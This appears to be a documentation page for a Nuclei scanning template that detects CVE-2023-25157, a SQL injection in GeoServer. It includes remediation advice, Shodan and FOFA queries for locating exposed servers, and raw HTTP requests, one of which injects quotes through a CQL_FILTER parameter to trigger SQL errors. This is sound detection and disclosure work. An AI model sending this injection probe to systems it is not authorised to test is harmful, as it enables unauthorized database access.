GeoServer OGC Filter - SQL Injection
ID: CVE-2023-25157
Severity: critical
Author: ritikchaddha,DhiyaneshDK,iamnoooob,rootxharsh
Tags: cve2023,cve,geoserver,ogc,sqli,intrusive,osgeo
Description
Section titled “Description”GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer includes support for the OGC Filter expression language and the OGC Common Query Language (CQL) as part of the Web Feature Service (WFS) and Web Map Service (WMS) protocols. CQL is also supported through the Web Coverage Service (WCS) protocol for ImageMosaic coverages. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should disable the PostGIS Datastore encode functions setting to mitigate strEndsWith, strStartsWith and PropertyIsLike misuse and enable the PostGIS DataStore preparedStatements setting to mitigate the FeatureId misuse.
YAML Source
Section titled “YAML Source”id: CVE-2023-25157
info: name: GeoServer OGC Filter - SQL Injection author: ritikchaddha,DhiyaneshDK,iamnoooob,rootxharsh severity: critical description: | GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer includes support for the OGC Filter expression language and the OGC Common Query Language (CQL) as part of the Web Feature Service (WFS) and Web Map Service (WMS) protocols. CQL is also supported through the Web Coverage Service (WCS) protocol for ImageMosaic coverages. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should disable the PostGIS Datastore *encode functions* setting to mitigate ``strEndsWith``, ``strStartsWith`` and ``PropertyIsLike `` misuse and enable the PostGIS DataStore *preparedStatements* setting to mitigate the ``FeatureId`` misuse. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. remediation: | Apply the latest security patches or updates provided by the GeoServer project to fix the SQL Injection vulnerability. reference: - https://twitter.com/parzel2/status/1665726454489915395 - https://nvd.nist.gov/vuln/detail/CVE-2023-25157 - https://github.com/win3zz/CVE-2023-25157 - https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf - https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-25157 cwe-id: CWE-89 epss-score: 0.59299 epss-percentile: 0.97754 cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 3 vendor: osgeo product: geoserver shodan-query: - title:"geoserver" - http.title:"geoserver" fofa-query: - title="geoserver" - app="geoserver" google-query: intitle:"geoserver" tags: cve2023,cve,geoserver,ogc,sqli,intrusive,osgeo
http: - raw: - | GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: {{Hostname}} - | GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=50&outputFormat=csv HTTP/1.1 Host: {{Hostname}} - | @timeout: 30s GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=strStartswith({{column}},%27%27%27%27)=true HTTP/1.1 Host: {{Hostname}}
stop-at-first-match: true iterate-all: true
matchers-condition: and matchers: - type: word part: body_3 words: - "SQL SELECT"
- type: word part: header_3 words: - text/xml
extractors: - type: regex name: name group: 1 regex: - '<FeatureType><Name>(.*?)<\/Name><Title>' internal: true part: body_1
- type: regex name: column group: 1 regex: - 'FID,([aA-zZ_]+),' internal: true part: body_2# digest: 4b0a00483046022100958c70bc6006f33c71d710ef55bd1f0d2a53119ce9b4245c83ea9786861df0e2022100a404df26756067b2dce98cf9ea7335b193b7555a29308c4a682ebe494c69020d:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-25157.yaml"